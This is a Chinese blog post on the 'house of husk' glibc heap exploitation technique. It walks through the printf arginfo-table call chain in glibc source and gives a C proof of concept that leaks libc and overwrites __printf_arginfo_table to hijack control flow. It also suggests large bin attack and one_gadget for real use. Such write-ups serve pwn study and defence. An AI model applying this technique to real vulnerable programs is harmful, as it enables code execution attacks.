house of husk PoC

前言

house of husk是一种在能够申请和释放大chunk,且存在UAF漏洞的情况下,通过利用printf中的一条调用链实现的控制RIP寄存器的方法。

分析

glibc中定义一个函数 叫__register_printf_function,用于注册用户自定义的格式化标志符处理。

/* Array of functions indexed by format character.  */
libc_freeres_ptr(printf_arginfo_size_function **__printf_arginfo_table) attribute_hidden;
printf_function **__printf_function_table attribute_hidden;


/* Register FUNC to be called to format SPEC specifiers.  */
int __register_printf_function(int spec,
                               printf_function converter,
                               printf_arginfo_function arginfo) {
    return __register_printf_specifier(spec, converter, (printf_arginfo_size_function *)arginfo);
}

/* Register FUNC to be called to format SPEC specifiers.  */
int __register_printf_specifier(int spec,
                                printf_function converter,
                                printf_arginfo_size_function arginfo) {
    if (spec < 0 || spec > (int)UCHAR_MAX) {
        __set_errno(EINVAL);
        return -1;
    }

    int result = 0;
    __libc_lock_lock(lock);

    if (__printf_function_table == NULL) {
        __printf_arginfo_table =
            (printf_arginfo_size_function **)calloc(UCHAR_MAX + 1, sizeof(void *) * 2);
        if (__printf_arginfo_table == NULL) {
            result = -1;
            goto out;
        }

        __printf_function_table = (printf_function **)(__printf_arginfo_table + UCHAR_MAX + 1);
    }

    __printf_function_table[spec] = converter;
    __printf_arginfo_table[spec]  = arginfo;

out:
    __libc_lock_unlock(lock);

    return result;
}

glibc环境下的printf的其中一段调用链是printf -> __vfprintf_internal -> printf_positional -> __parse_one_specmb -> __printf_arginfo_table[spec],在__vfprintf_internal中分为slow pathfast path(源码中并未提出,但是为了与slow path对应而引入的说法)两种情况。fast path是使用默认的格式化字符串模板解析。slow path用的是用户自定义的格式化字符串模板。
从以下源码片段中可以看出进入slow path的其中一个方法为__printf_function_table不为空。而进入slow path后会调用printf_positional函数

/* Use the slow path in case any printf handler is registered.  */
if (__glibc_unlikely(__printf_function_table != NULL || __printf_modifier_table != NULL ||
                     __printf_va_arg_table != NULL))
    goto do_positional;

// 中间为默认的解析模式,即fast path

/* Hand off processing for positional parameters.  */
do_positional:
    done =
        printf_positional(s, format, readonly_format, ap, &ap_save, done, nspecs_done, lead_str_end,
                          work_buffer, save_errno, grouping, thousands_sep, mode_flags);

printf_positional函数中,首先会先用__parse_one_specmb来解析格式化字符串,结果保存在spec数组中,对应的结构体定义如下。

//标识符解析相关的结构体
struct printf_spec {
    /* Information parsed from the format spec.  */
    struct printf_info info;

    /* Pointers into the format string for the end of this format
       spec and the next (or to the end of the string if no more).  */
    const UCHAR_T *end_of_fmt, *next_fmt;

    /* Position of arguments for precision and width, or -1 if `info' has
       the constant value.  */
    int prec_arg, width_arg;

    int data_arg;      /* Position of data argument.  */
    int data_arg_type; /* Type of first argument.  */
    /* Number of arguments consumed by this format specifier.  */
    size_t ndata_args;
    /* Size of the parameter for PA_USER type.  */
    int size;
};

struct printf_info {
    int prec;                        /* Precision.  */
    int width;                       /* Width.  */
    wchar_t spec;                    /* Format letter.  */
    unsigned int is_long_double : 1; /* L flag.  */
    unsigned int is_short : 1;       /* h flag.  */
    unsigned int is_long : 1;        /* l flag.  */
    unsigned int alt : 1;            /* # flag.  */
    unsigned int space : 1;          /* Space flag.  */
    unsigned int left : 1;           /* - flag.  */
    unsigned int showsign : 1;       /* + flag.  */
    unsigned int group : 1;          /* ' flag.  */
    unsigned int extra : 1;          /* For special use.  */
    unsigned int is_char : 1;        /* hh flag.  */
    unsigned int wide : 1;           /* Nonzero for wide character streams.  */
    unsigned int i18n : 1;           /* I flag.  */
    unsigned int is_binary128 : 1;   /* Floating-point argument is ABI-compatible
                                        with IEC 60559 binary128.  */
    unsigned int __pad : 3;          /* Unused so far.  */
    unsigned short int user;         /* Bits for user-installed modifiers.  */
    wchar_t pad;                     /* Padding character.  */
};

接着看_parse_one_specmb中解析标志符的部分代码,可以看到若__printf_arginfo_table在标志符对应位置不为空,ndata_args的值会通过调用表中对应的的函数来获取

/* Get the format specification.  */
spec->info.spec = (wchar_t)*format++;
spec->size      = -1;
if (__builtin_expect(__printf_function_table == NULL, 1) || spec->info.spec > UCHAR_MAX ||
    __printf_arginfo_table[spec->info.spec] == NULL
    /* We don't try to get the types for all arguments if the format
       uses more than one.  The normal case is covered though.  If
       the call returns -1 we continue with the normal specifiers.  */
    || (int)(spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])(
                 &spec->info, 1, &spec->data_arg_type, &spec->size)) < 0) {
    ......
}

PoC

#include <stdio.h>
#include <stdlib.h>

// Offsets
#define MALLOC_HOOK 0x1e0b90
#define FUNCTION_TABLE 0x1e35c8
#define ARGINFO_TABLE 0x1eb218

void back_door() {
    puts("success!");
}

int main() {
    void **function_table;
    void **arginfo_table;

    function_table = malloc(0x500);
    arginfo_table  = malloc(0x500);
    malloc(0x20);  // padding

    free(function_table);     //因为利用对于__printf_function_table没有直接要求,仅仅为非空,所以这里进行了复用,用来leak libc。
    unsigned long malloc_hook = *function_table - 96 - 0x10;
    unsigned long libc_base   = malloc_hook - MALLOC_HOOK;
    arginfo_table['a']        = &back_door;

    unsigned long *__printf_function_table = libc_base + FUNCTION_TABLE;
    unsigned long *__printf_arginfo_table  = libc_base + ARGINFO_TABLE;

    *__printf_function_table = function_table;     //写入__printf_function_table
    *__printf_arginfo_table  = arginfo_table;      //写入__printf_arginfo_table

    printf("%a", 0);

    return 0;
}

利用总结

可以利用large bin attack等方法将堆地址写入__printf_function_table__printf_arginfo_table,并向堆中相应位置写入one_gadget等的地址。

参考链接

House of Husk

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇